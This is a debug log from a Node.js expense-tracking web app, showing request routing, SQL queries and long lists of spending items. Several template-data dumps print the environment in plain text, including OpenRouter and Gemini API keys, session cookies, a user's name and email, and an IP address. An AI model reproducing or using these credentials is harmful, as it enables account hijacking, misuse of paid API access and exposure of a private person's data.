  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-03-06T16:29:50.031Z server-connect:output restrict: undefined
2026-03-06T16:29:50.031Z server-connect:app Executing action step single
2026-03-06T16:29:50.031Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-03-06T16:29:50.033Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-03-06T16:29:57.078Z server-connect:router Serving templateView /todo
2026-03-06T16:29:57.078Z server-connect:app Executing action step identify
2026-03-06T16:29:57.078Z server-connect:app options: { provider: 'security' }
2026-03-06T16:29:57.078Z server-connect:output identity: 1
2026-03-06T16:29:57.078Z server-connect:app Executing action step restrict
2026-03-06T16:29:57.078Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-06T16:29:57.079Z server-connect:output restrict: undefined
2026-03-06T16:29:57.079Z server-connect:router Render template todo
2026-03-06T16:29:57.079Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/todo',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ATbDSz8vP88g6A7MeplwJZg%3D%3D.Xn1f684n2SZfoFCmY%2BF9OabsBnUwE7iEoIbW78nhlKnRx107061OKJdVYhVhoIucVQYsbfKi8SKqskBZgIhio26DsMD71iz1uwXj%2BPEjkMGaTHJEYcdBXPQKXYT809%2F%2B3sgvARKWr8eMZshCJV0aLoBk25zcaGqz0XN5hQbb2Cs%3D.03HcfABxeVsMzfsRjKgfmFA%2F2WtdqhwyLyVrDg6bfeU; your_r_git.sid=s%3ApxiJCWZ6YOc1DRNQ-UFx2moGH5GgYTNn.iJjfzFd%2BsiAjBuuwnh8oW0O4CMYi9sC3ahl9PaX164E',
    'x-forwarded-for': '157.48.253.233',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-07T16:29:48.894Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/todo',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '157.48.253.233',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/todo',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/todo',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ATbDSz8vP88g6A7MeplwJZg%3D%3D.Xn1f684n2SZfoFCmY%2BF9OabsBnUwE7iEoIbW78nhlKnRx107061OKJdVYhVhoIucVQYsbfKi8SKqskBZgIhio26DsMD71iz1uwXj%2BPEjkMGaTHJEYcdBXPQKXYT809%2F%2B3sgvARKWr8eMZshCJV0aLoBk25zcaGqz0XN5hQbb2Cs%3D.03HcfABxeVsMzfsRjKgfmFA%2F2WtdqhwyLyVrDg6bfeU; your_r_git.sid=s%3ApxiJCWZ6YOc1DRNQ-UFx2moGH5GgYTNn.iJjfzFd%2BsiAjBuuwnh8oW0O4CMYi9sC3ahl9PaX164E',
    'HTTP_X_FORWARDED-FOR': '157.48.253.233',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-03-06T16:30:00.858Z server-connect:router Serving templateView /todo
2026-03-06T16:30:00.858Z server-connect:app Executing action step identify
2026-03-06T16:30:00.858Z server-connect:app options: { provider: 'security' }
2026-03-06T16:30:00.858Z server-connect:output identity: 1
2026-03-06T16:30:00.858Z server-connect:app Executing action step restrict
2026-03-06T16:30:00.858Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-06T16:30:00.859Z server-connect:output restrict: undefined
2026-03-06T16:30:00.859Z server-connect:router Render template layouts/main
2026-03-06T16:30:00.859Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"19961-GbT1DqkRfZgZ7K3dOZt3IzGa6H0"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ATbDSz8vP88g6A7MeplwJZg%3D%3D.Xn1f684n2SZfoFCmY%2BF9OabsBnUwE7iEoIbW78nhlKnRx107061OKJdVYhVhoIucVQYsbfKi8SKqskBZgIhio26DsMD71iz1uwXj%2BPEjkMGaTHJEYcdBXPQKXYT809%2F%2B3sgvARKWr8eMZshCJV0aLoBk25zcaGqz0XN5hQbb2Cs%3D.03HcfABxeVsMzfsRjKgfmFA%2F2WtdqhwyLyVrDg6bfeU; your_r_git.sid=s%3ApxiJCWZ6YOc1DRNQ-UFx2moGH5GgYTNn.iJjfzFd%2BsiAjBuuwnh8oW0O4CMYi9sC3ahl9PaX164E',
    'x-forwarded-for': '157.48.253.233',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-07T16:29:48.894Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/todo',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.253.233',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/todo',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"19961-GbT1DqkRfZgZ7K3dOZt3IzGa6H0"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ATbDSz8vP88g6A7MeplwJZg%3D%3D.Xn1f684n2SZfoFCmY%2BF9OabsBnUwE7iEoIbW78nhlKnRx107061OKJdVYhVhoIucVQYsbfKi8SKqskBZgIhio26DsMD71iz1uwXj%2BPEjkMGaTHJEYcdBXPQKXYT809%2F%2B3sgvARKWr8eMZshCJV0aLoBk25zcaGqz0XN5hQbb2Cs%3D.03HcfABxeVsMzfsRjKgfmFA%2F2WtdqhwyLyVrDg6bfeU; your_r_git.sid=s%3ApxiJCWZ6YOc1DRNQ-UFx2moGH5GgYTNn.iJjfzFd%2BsiAjBuuwnh8oW0O4CMYi9sC3ahl9PaX164E',
    'HTTP_X_FORWARDED-FOR': '157.48.253.233',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/todo'
}
2026-03-06T16:30:01.850Z server-connect:router Serving serverConnect /api/masters/get-items
2026-03-06T16:30:01.851Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-03-06T16:30:01.851Z server-connect:app Executing action step identify
2026-03-06T16:30:01.852Z server-connect:app options: { provider: 'security' }
2026-03-06T16:30:01.852Z server-connect:output identity: 1
2026-03-06T16:30:01.852Z server-connect:app Executing action step restrict
2026-03-06T16:30:01.852Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-06T16:30:01.852Z server-connect:app Executing action step identify
2026-03-06T16:30:01.852Z server-connect:app options: { provider: 'security' }
2026-03-06T16:30:01.852Z server-connect:output identity: 1
2026-03-06T16:30:01.852Z server-connect:app Executing action step restrict
2026-03-06T16:30:01.852Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-06T16:30:01.853Z server-connect:output restrict: undefined
2026-03-06T16:30:01.853Z server-connect:app Executing action step select
2026-03-06T16:30:01.853Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-03-06T16:30:01.854Z server-connect:output restrict: undefined
2026-03-06T16:30:01.854Z server-connect:app Executing action step single
2026-03-06T16:30:01.854Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-03-06T16:30:01.855Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-03-06T16:30:01.859Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-03-06T16:30:09.961Z server-connect:router Serving templateView /goal
2026-03-06T16:30:09.961Z server-connect:app Executing action step identify
2026-03-06T16:30:09.961Z server-connect:app options: { provider: 'security' }
2026-03-06T16:30:09.962Z server-connect:output identity: 1
2026-03-06T16:30:09.962Z server-connect:app Executing action step restrict
2026-03-06T16:30:09.962Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-06T16:30:09.963Z server-connect:output restrict: undefined
2026-03-06T16:30:09.963Z server-connect:router Render template goal
2026-03-06T16:30:09.963Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
